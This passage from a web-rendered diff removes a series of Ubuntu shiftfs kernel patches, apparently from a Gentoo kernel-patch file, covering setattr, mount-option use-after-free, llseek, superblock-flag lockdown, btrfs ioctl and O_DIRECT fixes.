- -rw-r--r-- 1 root root 0 Apr 11 13:05 file |
3537 |
- # chown 500:500 dir file |
3538 |
- # ls -lh dir file |
3539 |
- drwxr-xr-x 2 1000500 1000500 4.0K Apr 11 12:42 dir |
3540 |
- -rw-r--r-- 1 1000500 1000500 0 Apr 11 12:42 file |
3541 |
- |
3542 |
-Fix this to pass the correct iattr struct to notify_change(). |
3543 |
- |
3544 |
-Reviewed-by: Christian Brauner <christian.brauner@××××××.com> |
3545 |
-Acked-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com> |
3546 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
3547 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
3548 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
3549 |
---- |
3550 |
- fs/shiftfs.c | 2 +- |
3551 |
- 1 file changed, 1 insertion(+), 1 deletion(-) |
3552 |
- |
3553 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
3554 |
-index 678cad30f4a5..e736fd6afcb4 100644 |
3555 |
---- a/fs/shiftfs.c |
3556 |
-+++ b/fs/shiftfs.c |
3557 |
-@@ -779,7 +779,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
3558 |
- |
3559 |
- inode_lock(loweri); |
3560 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
3561 |
-- err = notify_change(lowerd, attr, NULL); |
3562 |
-+ err = notify_change(lowerd, &newattr, NULL); |
3563 |
- revert_creds(oldcred); |
3564 |
- inode_unlock(loweri); |
3565 |
- |
3566 |
--- |
3567 |
-2.39.2 |
3568 |
- |
3569 |
-From 84e09374dce45b2aaec7e719acd209b1e5e4ae85 Mon Sep 17 00:00:00 2001 |
3570 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
3571 |
-Date: Sat, 13 Apr 2019 14:41:01 -0500 |
3572 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix passing of attrs to underaly for |
3573 |
- setattr |
3574 |
-Cc: mpagano@g.o |
3575 |
- |
3576 |
-BugLink: https://bugs.launchpad.net/bugs/1824717 |
3577 |
- |
3578 |
-shiftfs_setattr() makes a copy of the attrs it was passed to pass |
3579 |
-to the lower fs. It then calls setattr_prepare() with the original |
3580 |
-attrs, and this may make changes which are not reflected in the |
3581 |
-attrs passed to the lower fs. To fix this, copy the attrs to the |
3582 |
-new struct for the lower fs after calling setattr_prepare(). |
3583 |
- |
3584 |
-Additionally, notify_change() may have set ATTR_MODE when one of |
3585 |
-ATTR_KILL_S[UG]ID is set, and passing this combination to |
3586 |
-notify_change() will trigger a BUG(). Do as overlayfs and |
3587 |
-ecryptfs both do, and clear ATTR_MODE if either of those bits |
3588 |
-is set. |
3589 |
- |
3590 |
-Reviewed-by: Christian Brauner <christian.brauner@××××××.com> |
3591 |
-Acked-by: Marcelo Henrique Cerri <marcelo.cerri@×××××××××.com> |
3592 |
-Acked-by: Brad Figg <brad.figg@×××××××××.com> |
3593 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
3594 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
3595 |
---- |
3596 |
- fs/shiftfs.c | 10 +++++++++- |
3597 |
- 1 file changed, 9 insertions(+), 1 deletion(-) |
3598 |
- |
3599 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
3600 |
-index e736fd6afcb4..8e064756ea0c 100644 |
3601 |
---- a/fs/shiftfs.c |
3602 |
-+++ b/fs/shiftfs.c |
3603 |
-@@ -765,7 +765,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
3604 |
- { |
3605 |
- struct dentry *lowerd = dentry->d_fsdata; |
3606 |
- struct inode *loweri = lowerd->d_inode; |
3607 |
-- struct iattr newattr = *attr; |
3608 |
-+ struct iattr newattr; |
3609 |
- const struct cred *oldcred; |
3610 |
- struct super_block *sb = dentry->d_sb; |
3611 |
- int err; |
3612 |
-@@ -774,9 +774,17 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
3613 |
- if (err) |
3614 |
- return err; |
3615 |
- |
3616 |
-+ newattr = *attr; |
3617 |
- newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid)); |
3618 |
- newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid)); |
3619 |
- |
3620 |
-+ /* |
3621 |
-+ * mode change is for clearing setuid/setgid bits. Allow lower fs |
3622 |
-+ * to interpret this in its own way. |
3623 |
-+ */ |
3624 |
-+ if (newattr.ia_valid & (ATTR_KILL_SUID|ATTR_KILL_SGID)) |
3625 |
-+ newattr.ia_valid &= ~ATTR_MODE; |
3626 |
-+ |
3627 |
- inode_lock(loweri); |
3628 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
3629 |
- err = notify_change(lowerd, &newattr, NULL); |
3630 |
--- |
3631 |
-2.39.2 |
3632 |
- |
3633 |
-From a3ba10b3019139566fa65c351966ca3482c90819 Mon Sep 17 00:00:00 2001 |
3634 |
-From: Christian Brauner <christian@×××××××.io> |
3635 |
-Date: Mon, 15 Apr 2019 15:21:55 +0200 |
3636 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent use-after-free when verifying |
3637 |
- mount options |
3638 |
-Cc: mpagano@g.o |
3639 |
- |
3640 |
-BugLink: https://bugs.launchpad.net/bugs/1824735 |
3641 |
- |
3642 |
-Copy up the passthrough mount settings of the mark mount point to the |
3643 |
-shiftfs overlay. |
3644 |
- |
3645 |
-Before this commit we used to keep a reference to the shiftfs mark |
3646 |
-mount's shiftfs_super_info which was stashed in the superblock of the |
3647 |
-mark mount. The problem is that we only take a reference to the mount of |
3648 |
-the underlay, i.e. the filesystem that is *under* the shiftfs mark |
3649 |
-mount. This means when someone performs a shiftfs mark mount, then a |
3650 |
-shiftfs overlay mount and then immediately unmounts the shiftfs mark |
3651 |
-mount we muck with invalid memory since shiftfs_put_super might have |
3652 |
-already been called freeing that memory. |
3653 |
- |
3654 |
-Another solution would be to start reference counting. But this would be |
3655 |
-overkill. We only care about the passthrough mount option of the mark |
3656 |
-mount. And we only need it to verify that on remount the new passthrough |
3657 |
-options of the shiftfs overlay are a subset of the mark mount's |
3658 |
-passthrough options. In other scenarios we don't care. So copying up is |
3659 |
-good enough and also only needs to happen once on mount, i.e. when a new |
3660 |
-superblock is created and the .fill_super method is called. |
3661 |
- |
3662 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
3663 |
-Acked-by: Seth Forshee <seth.forshee@×××××××××.com> |
3664 |
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com> |
3665 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
3666 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
3667 |
---- |
3668 |
- fs/shiftfs.c | 29 ++++++++++++++++++----------- |
3669 |
- 1 file changed, 18 insertions(+), 11 deletions(-) |
3670 |
- |
3671 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
3672 |
-index 8e064756ea0c..4c8a6ec2a617 100644 |
3673 |
---- a/fs/shiftfs.c |
3674 |
-+++ b/fs/shiftfs.c |
3675 |
-@@ -28,7 +28,7 @@ struct shiftfs_super_info { |
3676 |
- const struct cred *creator_cred; |
3677 |
- bool mark; |
3678 |
- unsigned int passthrough; |
3679 |
-- struct shiftfs_super_info *info_mark; |
3680 |
-+ unsigned int passthrough_mark; |
3681 |
- }; |
3682 |
- |
3683 |
- struct shiftfs_file_info { |
3684 |
-@@ -52,10 +52,6 @@ static inline bool shiftfs_passthrough_ioctls(struct shiftfs_super_info *info) |
3685 |
- if (!(info->passthrough & SHIFTFS_PASSTHROUGH_IOCTL)) |
3686 |
- return false; |
3687 |
- |
3688 |
-- if (info->info_mark && |
3689 |
-- !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_IOCTL)) |
3690 |
-- return false; |
3691 |
-- |
3692 |
- return true; |
3693 |
- } |
3694 |
- |
3695 |
-@@ -64,10 +60,6 @@ static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info) |
3696 |
- if (!(info->passthrough & SHIFTFS_PASSTHROUGH_STAT)) |
3697 |
- return false; |
3698 |
- |
3699 |
-- if (info->info_mark && |
3700 |
-- !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_STAT)) |
3701 |
-- return false; |
3702 |
-- |
3703 |
- return true; |
3704 |
- } |
3705 |
- |
3706 |
-@@ -1824,7 +1816,7 @@ static int shiftfs_remount(struct super_block *sb, int *flags, char *data) |
3707 |
- |
3708 |
- if (info->passthrough != new.passthrough) { |
3709 |
- /* Don't allow exceeding passthrough options of mark mount. */ |
3710 |
-- if (!passthrough_is_subset(info->info_mark->passthrough, |
3711 |
-+ if (!passthrough_is_subset(info->passthrough_mark, |
3712 |
- info->passthrough)) |
3713 |
- return -EPERM; |
3714 |
- |
3715 |
-@@ -1926,9 +1918,19 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3716 |
- |
3717 |
- sbinfo->mnt = mntget(sbinfo_mp->mnt); |
3718 |
- dentry = dget(path.dentry->d_fsdata); |
3719 |
-+ /* |
3720 |
-+ * Copy up the passthrough mount options from the |
3721 |
-+ * parent mark mountpoint. |
3722 |
-+ */ |
3723 |
-+ sbinfo->passthrough_mark = sbinfo_mp->passthrough_mark; |
3724 |
- } else { |
3725 |
- sbinfo->mnt = mntget(path.mnt); |
3726 |
- dentry = dget(path.dentry); |
3727 |
-+ /* |
3728 |
-+ * For a new mark passthrough_mark and passthrough |
3729 |
-+ * are identical. |
3730 |
-+ */ |
3731 |
-+ sbinfo->passthrough_mark = sbinfo->passthrough; |
3732 |
- } |
3733 |
- |
3734 |
- sbinfo->creator_cred = prepare_creds(); |
3735 |
-@@ -1956,7 +1958,12 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3736 |
- sbinfo->mnt = mntget(sbinfo_mp->mnt); |
3737 |
- sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred); |
3738 |
- dentry = dget(path.dentry->d_fsdata); |
3739 |
-- sbinfo->info_mark = sbinfo_mp; |
3740 |
-+ /* |
3741 |
-+ * Copy up passthrough settings from mark mountpoint so we can |
3742 |
-+ * verify when the overlay wants to remount with different |
3743 |
-+ * passthrough settings. |
3744 |
-+ */ |
3745 |
-+ sbinfo->passthrough_mark = sbinfo_mp->passthrough; |
3746 |
- } |
3747 |
- |
3748 |
- sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1; |
3749 |
--- |
3750 |
-2.39.2 |
3751 |
- |
3752 |
-From a6ec1bf679d71f552f3eee7bf2b5458a6ea71e9a Mon Sep 17 00:00:00 2001 |
3753 |
-From: Christian Brauner <christian@×××××××.io> |
3754 |
-Date: Tue, 16 Apr 2019 18:29:00 +0200 |
3755 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: use separate llseek method for |
3756 |
- directories |
3757 |
-Cc: mpagano@g.o |
3758 |
- |
3759 |
-BugLink: https://bugs.launchpad.net/bugs/1824812 |
3760 |
- |
3761 |
-Give shiftfs it's own proper llseek method for directories. |
3762 |
- |
3763 |
-Before this commit we used to rely on an llseek method that was |
3764 |
-targeted for regular files for both directories and regular files. |
3765 |
-However, the realfile's f_pos was not correctly handled when userspace |
3766 |
-called lseek(2) on a shiftfs directory file. Give directories their |
3767 |
-own llseek operation so that seeking on a directory file is properly |
3768 |
-supported. |
3769 |
- |
3770 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
3771 |
-Acked-by: Seth Forshee <seth.forshee@×××××××××.com> |
3772 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
3773 |
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com> |
3774 |
-Signed-off-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com> |
3775 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
3776 |
---- |
3777 |
- fs/shiftfs.c | 14 +++++++++++--- |
3778 |
- 1 file changed, 11 insertions(+), 3 deletions(-) |
3779 |
- |
3780 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
3781 |
-index 4c8a6ec2a617..9771165d1ce0 100644 |
3782 |
---- a/fs/shiftfs.c |
3783 |
-+++ b/fs/shiftfs.c |
3784 |
-@@ -1144,7 +1144,15 @@ static int shiftfs_release(struct inode *inode, struct file *file) |
3785 |
- return 0; |
3786 |
- } |
3787 |
- |
3788 |
--static loff_t shiftfs_llseek(struct file *file, loff_t offset, int whence) |
3789 |
-+static loff_t shiftfs_dir_llseek(struct file *file, loff_t offset, int whence) |
3790 |
-+{ |
3791 |
-+ struct shiftfs_file_info *file_info = file->private_data; |
3792 |
-+ struct file *realfile = file_info->realfile; |
3793 |
-+ |
3794 |
-+ return vfs_llseek(realfile, offset, whence); |
3795 |
-+} |
3796 |
-+ |
3797 |
-+static loff_t shiftfs_file_llseek(struct file *file, loff_t offset, int whence) |
3798 |
- { |
3799 |
- struct inode *realinode = file_inode(file)->i_private; |
3800 |
- |
3801 |
-@@ -1653,7 +1661,7 @@ static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx) |
3802 |
- const struct file_operations shiftfs_file_operations = { |
3803 |
- .open = shiftfs_open, |
3804 |
- .release = shiftfs_release, |
3805 |
-- .llseek = shiftfs_llseek, |
3806 |
-+ .llseek = shiftfs_file_llseek, |
3807 |
- .read_iter = shiftfs_read_iter, |
3808 |
- .write_iter = shiftfs_write_iter, |
3809 |
- .fsync = shiftfs_fsync, |
3810 |
-@@ -1670,7 +1678,7 @@ const struct file_operations shiftfs_dir_operations = { |
3811 |
- .compat_ioctl = shiftfs_compat_ioctl, |
3812 |
- .fsync = shiftfs_fsync, |
3813 |
- .iterate_shared = shiftfs_iterate_shared, |
3814 |
-- .llseek = shiftfs_llseek, |
3815 |
-+ .llseek = shiftfs_dir_llseek, |
3816 |
- .open = shiftfs_open, |
3817 |
- .read = generic_read_dir, |
3818 |
- .release = shiftfs_release, |
3819 |
--- |
3820 |
-2.39.2 |
3821 |
- |
3822 |
-From 10c6312a5c1cd2fbbbcb47adf7597e8cb2e18391 Mon Sep 17 00:00:00 2001 |
3823 |
-From: Christian Brauner <christian@×××××××.io> |
3824 |
-Date: Wed, 8 May 2019 14:13:14 +0200 |
3825 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: lock down certain superblock flags |
3826 |
-Cc: mpagano@g.o |
3827 |
- |
3828 |
-BugLink: https://bugs.launchpad.net/bugs/1827122 |
3829 |
- |
3830 |
-This locks down various superblock flags to prevent userns-root from |
3831 |
-remounting a superblock with less restrictive options than the original |
3832 |
-mark or underlay mount. |
3833 |
- |
3834 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
3835 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
3836 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
3837 |
---- |
3838 |
- fs/shiftfs.c | 47 ++++++++++++++++++++++++++++++++++++++++++++++- |
3839 |
- 1 file changed, 46 insertions(+), 1 deletion(-) |
3840 |
- |
3841 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
3842 |
-index 9771165d1ce0..a1dae7ea593b 100644 |
3843 |
---- a/fs/shiftfs.c |
3844 |
-+++ b/fs/shiftfs.c |
3845 |
-@@ -1808,6 +1808,33 @@ static inline bool passthrough_is_subset(int old_flags, int new_flags) |
3846 |
- return true; |
3847 |
- } |
3848 |
- |
3849 |
-+static int shiftfs_super_check_flags(unsigned long old_flags, |
3850 |
-+ unsigned long new_flags) |
3851 |
-+{ |
3852 |
-+ if ((old_flags & SB_RDONLY) && !(new_flags & SB_RDONLY)) |
3853 |
-+ return -EPERM; |
3854 |
-+ |
3855 |
-+ if ((old_flags & SB_NOSUID) && !(new_flags & SB_NOSUID)) |
3856 |
-+ return -EPERM; |
3857 |
-+ |
3858 |
-+ if ((old_flags & SB_NODEV) && !(new_flags & SB_NODEV)) |
3859 |
-+ return -EPERM; |
3860 |
-+ |
3861 |
-+ if ((old_flags & SB_NOEXEC) && !(new_flags & SB_NOEXEC)) |
3862 |
-+ return -EPERM; |
3863 |
-+ |
3864 |
-+ if ((old_flags & SB_NOATIME) && !(new_flags & SB_NOATIME)) |
3865 |
-+ return -EPERM; |
3866 |
-+ |
3867 |
-+ if ((old_flags & SB_NODIRATIME) && !(new_flags & SB_NODIRATIME)) |
3868 |
-+ return -EPERM; |
3869 |
-+ |
3870 |
-+ if (!(old_flags & SB_POSIXACL) && (new_flags & SB_POSIXACL)) |
3871 |
-+ return -EPERM; |
3872 |
-+ |
3873 |
-+ return 0; |
3874 |
-+} |
3875 |
-+ |
3876 |
- static int shiftfs_remount(struct super_block *sb, int *flags, char *data) |
3877 |
- { |
3878 |
- int err; |
3879 |
-@@ -1818,6 +1845,10 @@ static int shiftfs_remount(struct super_block *sb, int *flags, char *data) |
3880 |
- if (err) |
3881 |
- return err; |
3882 |
- |
3883 |
-+ err = shiftfs_super_check_flags(sb->s_flags, *flags); |
3884 |
-+ if (err) |
3885 |
-+ return err; |
3886 |
-+ |
3887 |
- /* Mark mount option cannot be changed. */ |
3888 |
- if (info->mark || (info->mark != new.mark)) |
3889 |
- return -EPERM; |
3890 |
-@@ -1847,6 +1878,16 @@ struct shiftfs_data { |
3891 |
- const char *path; |
3892 |
- }; |
3893 |
- |
3894 |
-+static void shiftfs_super_force_flags(struct super_block *sb, |
3895 |
-+ unsigned long lower_flags) |
3896 |
-+{ |
3897 |
-+ sb->s_flags |= lower_flags & (SB_RDONLY | SB_NOSUID | SB_NODEV | |
3898 |
-+ SB_NOEXEC | SB_NOATIME | SB_NODIRATIME); |
3899 |
-+ |
3900 |
-+ if (!(lower_flags & SB_POSIXACL)) |
3901 |
-+ sb->s_flags &= ~SB_POSIXACL; |
3902 |
-+} |
3903 |
-+ |
3904 |
- static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3905 |
- int silent) |
3906 |
- { |
3907 |
-@@ -1888,6 +1929,8 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3908 |
- goto out_put_path; |
3909 |
- } |
3910 |
- |
3911 |
-+ sb->s_flags |= SB_POSIXACL; |
3912 |
-+ |
3913 |
- if (sbinfo->mark) { |
3914 |
- struct super_block *lower_sb = path.mnt->mnt_sb; |
3915 |
- |
3916 |
-@@ -1904,6 +1947,8 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3917 |
- */ |
3918 |
- sb->s_iflags = SB_I_NOEXEC; |
3919 |
- |
3920 |
-+ shiftfs_super_force_flags(sb, lower_sb->s_flags); |
3921 |
-+ |
3922 |
- /* |
3923 |
- * Handle nesting of shiftfs mounts by referring this mark |
3924 |
- * mount back to the original mark mount. This is more |
3925 |
-@@ -1972,6 +2017,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3926 |
- * passthrough settings. |
3927 |
- */ |
3928 |
- sbinfo->passthrough_mark = sbinfo_mp->passthrough; |
3929 |
-+ shiftfs_super_force_flags(sb, path.mnt->mnt_sb->s_flags); |
3930 |
- } |
3931 |
- |
3932 |
- sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1; |
3933 |
-@@ -1995,7 +2041,6 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3934 |
- sb->s_op = &shiftfs_super_ops; |
3935 |
- sb->s_xattr = shiftfs_xattr_handlers; |
3936 |
- sb->s_d_op = &shiftfs_dentry_ops; |
3937 |
-- sb->s_flags |= SB_POSIXACL; |
3938 |
- sb->s_root = d_make_root(inode); |
3939 |
- if (!sb->s_root) { |
3940 |
- err = -ENOMEM; |
3941 |
--- |
3942 |
-2.39.2 |
3943 |
- |
3944 |
-From 650ec55632c03c03e6cc5b08a764609b4b0eb192 Mon Sep 17 00:00:00 2001 |
3945 |
-From: Christian Brauner <christian@×××××××.io> |
3946 |
-Date: Tue, 11 Jun 2019 11:47:35 +0200 |
3947 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: allow changing ro/rw for subvolumes |
3948 |
-Cc: mpagano@g.o |
3949 |
- |
3950 |
-BugLink: https://bugs.launchpad.net/bugs/1832316 |
3951 |
- |
3952 |
-This enables toggling between ro/rw for btrfs subvolumes under shiftfs. |
3953 |
- |
3954 |
-Currently, btrfs workloads employing shiftfs cause regression. |
3955 |
-With btrfs unprivileged users can already toggle whether a subvolume |
3956 |
-will be ro or rw. This is broken on current shiftfs as we haven't |
3957 |
-whitelisted these ioctls(). |
3958 |
-To prevent such regression, we need to whitelist the ioctls |
3959 |
-BTRFS_IOC_FS_INFO, BTRFS_IOC_SUBVOL_GETFLAGS, and |
3960 |
-BTRFS_IOC_SUBVOL_SETFLAGS. All of them should be safe for unprivileged |
3961 |
-users. |
3962 |
- |
3963 |
-Cc: Seth Forshee <seth.forshee@×××××××××.com> |
3964 |
-Cc: Tyler Hicks <tyhicks@×××××××××.com> |
3965 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
3966 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
3967 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
3968 |
---- |
3969 |
- fs/shiftfs.c | 21 ++++++++++++++++++--- |
3970 |
- 1 file changed, 18 insertions(+), 3 deletions(-) |
3971 |
- |
3972 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
3973 |
-index a1dae7ea593b..49f6714e9f95 100644 |
3974 |
---- a/fs/shiftfs.c |
3975 |
-+++ b/fs/shiftfs.c |
3976 |
-@@ -1507,9 +1507,14 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd, |
3977 |
- return ret; |
3978 |
- } |
3979 |
- |
3980 |
--static bool in_ioctl_whitelist(int flag) |
3981 |
-+static bool in_ioctl_whitelist(int flag, unsigned long arg) |
3982 |
- { |
3983 |
-+ void __user *argp = (void __user *)arg; |
3984 |
-+ u64 flags = 0; |
3985 |
-+ |
3986 |
- switch (flag) { |
3987 |
-+ case BTRFS_IOC_FS_INFO: |
3988 |
-+ return true; |
3989 |
- case BTRFS_IOC_SNAP_CREATE: |
3990 |
- return true; |
3991 |
- case BTRFS_IOC_SNAP_CREATE_V2: |
3992 |
-@@ -1517,6 +1522,16 @@ static bool in_ioctl_whitelist(int flag) |
3993 |
- case BTRFS_IOC_SUBVOL_CREATE: |
3994 |
- return true; |
3995 |
- case BTRFS_IOC_SUBVOL_CREATE_V2: |
3996 |
-+ return true; |
3997 |
-+ case BTRFS_IOC_SUBVOL_GETFLAGS: |
3998 |
-+ return true; |
3999 |
-+ case BTRFS_IOC_SUBVOL_SETFLAGS: |
4000 |
-+ if (copy_from_user(&flags, arg, sizeof(flags))) |
4001 |
-+ return false; |
4002 |
-+ |
4003 |
-+ if (flags & ~BTRFS_SUBVOL_RDONLY) |
4004 |
-+ return false; |
4005 |
-+ |
4006 |
- return true; |
4007 |
- case BTRFS_IOC_SNAP_DESTROY: |
4008 |
- return true; |
4009 |
-@@ -1536,7 +1551,7 @@ static long shiftfs_ioctl(struct file *file, unsigned int cmd, |
4010 |
- case FS_IOC_SETFLAGS: |
4011 |
- break; |
4012 |
- default: |
4013 |
-- if (!in_ioctl_whitelist(cmd) || |
4014 |
-+ if (!in_ioctl_whitelist(cmd, arg) || |
4015 |
- !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info)) |
4016 |
- return -ENOTTY; |
4017 |
- } |
4018 |
-@@ -1555,7 +1570,7 @@ static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd, |
4019 |
- case FS_IOC32_SETFLAGS: |
4020 |
- break; |
4021 |
- default: |
4022 |
-- if (!in_ioctl_whitelist(cmd) || |
4023 |
-+ if (!in_ioctl_whitelist(cmd, arg) || |
4024 |
- !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info)) |
4025 |
- return -ENOIOCTLCMD; |
4026 |
- } |
4027 |
--- |
4028 |
-2.39.2 |
4029 |
- |
4030 |
-From cd66a65bbea66683404adadd7d61ec02d04ac21a Mon Sep 17 00:00:00 2001 |
4031 |
-From: Christian Brauner <christian@×××××××.io> |
4032 |
-Date: Fri, 19 Jul 2019 17:50:46 +0200 |
4033 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: add O_DIRECT support |
4034 |
-Cc: mpagano@g.o |
4035 |
- |
4036 |
-BugLink: https://bugs.launchpad.net/bugs/1837223 |
4037 |
- |
4038 |
-This enabled O_DIRECT support for shiftfs if the underlay supports it. |
4039 |
- |
4040 |
-Currently shiftfs does not handle O_DIRECT if the underlay supports it. |
4041 |
-This is blocking dqlite - an essential part of LXD - from profiting from |
4042 |
-the performance benefits of O_DIRECT on suitable filesystems when used |
4043 |
-with async io such as aio or io_uring. |
4044 |
-Overlayfs cannot support this directly since the upper filesystem in |
4045 |
-overlay can be any filesystem. So if the upper filesystem does not |
4046 |
-support O_DIRECT but the lower filesystem does you're out of luck. |
4047 |
-Shiftfs does not suffer from the same problem since there is not concept |
4048 |
-of an upper filesystem in the same way that overlayfs has it. |
4049 |
-Essentially, shiftfs is a transparent shim relaying everything to the |
4050 |
-underlay while overlayfs' upper layer is not (completely). |
4051 |
- |
4052 |
-Cc: Seth Forshee <seth.forshee@×××××××××.com> |
4053 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
4054 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4055 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4056 |
---- |
4057 |
- fs/shiftfs.c | 3 +++ |
4058 |
- 1 file changed, 3 insertions(+) |
4059 |
- |
4060 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4061 |
-index 49f6714e9f95..addaa6e21e57 100644 |
4062 |
---- a/fs/shiftfs.c |
4063 |
-+++ b/fs/shiftfs.c |
4064 |
-@@ -1126,6 +1126,9 @@ static int shiftfs_open(struct inode *inode, struct file *file) |
4065 |
- } |
4066 |
- |
4067 |
- file->private_data = file_info; |
4068 |
-+ /* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO. */ |
4069 |
-+ file->f_mapping = realfile->f_mapping; |
4070 |
-+ |
4071 |
- file_info->realfile = realfile; |
4072 |
- return 0; |
4073 |
- } |
4074 |
--- |
4075 |
-2.39.2 |
4076 |
- |
4077 |
-From 772a8ea3a85f0530a76bc8dbe4e91de92aa35180 Mon Sep 17 00:00:00 2001 |
4078 |
-From: Christian Brauner <christian@×××××××.io> |
4079 |
-Date: Fri, 19 Jul 2019 17:50:47 +0200 |
4080 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: pass correct point down |
4081 |
-Cc: mpagano@g.o |
4082 |
- |
4083 |
-BugLink: https://bugs.launchpad.net/bugs/1837231 |
4084 |
- |
4085 |
-This used to pass an unsigned long to copy_from_user() instead of a |
4086 |
-void __user * pointer. This will produce warning with a sufficiently |
4087 |
-advanced compiler. |
4088 |
- |
4089 |
-Cc: Seth Forshee <seth.forshee@×××××××××.com> |
4090 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
4091 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4092 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4093 |
---- |
4094 |
- fs/shiftfs.c | 2 +- |
4095 |
- 1 file changed, 1 insertion(+), 1 deletion(-) |
4096 |
- |
4097 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4098 |
-index addaa6e21e57..9006201c243d 100644 |
4099 |
---- a/fs/shiftfs.c |
4100 |
-+++ b/fs/shiftfs.c |
4101 |
-@@ -1529,7 +1529,7 @@ static bool in_ioctl_whitelist(int flag, unsigned long arg) |
4102 |
- case BTRFS_IOC_SUBVOL_GETFLAGS: |
4103 |
- return true; |
4104 |
- case BTRFS_IOC_SUBVOL_SETFLAGS: |
4105 |
-- if (copy_from_user(&flags, arg, sizeof(flags))) |
4106 |
-+ if (copy_from_user(&flags, argp, sizeof(flags))) |
4107 |
- return false; |
4108 |
- |
4109 |
- if (flags & ~BTRFS_SUBVOL_RDONLY) |
4110 |
--- |
4111 |
-2.39.2 |
4112 |
- |
4113 |
-From ca8b1596f4e2a5a3c8ee7b7cb45d4703b329c891 Mon Sep 17 00:00:00 2001 |
4114 |
-From: Christian Brauner <christian.brauner@××××××.com> |
4115 |
-Date: Thu, 29 Aug 2019 20:45:07 +0200 |
4116 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix buggy unlink logic |
4117 |
-Cc: mpagano@g.o |
4118 |
- |
4119 |
-BugLink: https://bugs.launchpad.net/bugs/1841977 |
4120 |
- |
4121 |
-The way we messed with setting i_nlink was brittle and wrong. We used to |
4122 |
-set the i_nlink of the shiftfs dentry to be deleted to the i_nlink count |
4123 |
-of the underlay dentry of the directory it resided in which makes no |
4124 |
-sense whatsoever. We also missed drop_nlink() which is crucial since |
4125 |
-i_nlink affects whether a dentry is cleaned up on dput(). |
4126 |
-With this I cannot reproduce the bug anymore where shiftfs misleads zfs |
4127 |
-into believing that a deleted file can not be removed from disk because |
4128 |
-it is still referenced. |
4129 |
- |
4130 |
-Fixes: commit 87011da41961 ("shiftfs: rework and extend") |
4131 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
4132 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4133 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4134 |
---- |
4135 |
- fs/shiftfs.c | 15 ++++++++++----- |
4136 |
- 1 file changed, 10 insertions(+), 5 deletions(-) |
4137 |
- |
4138 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4139 |
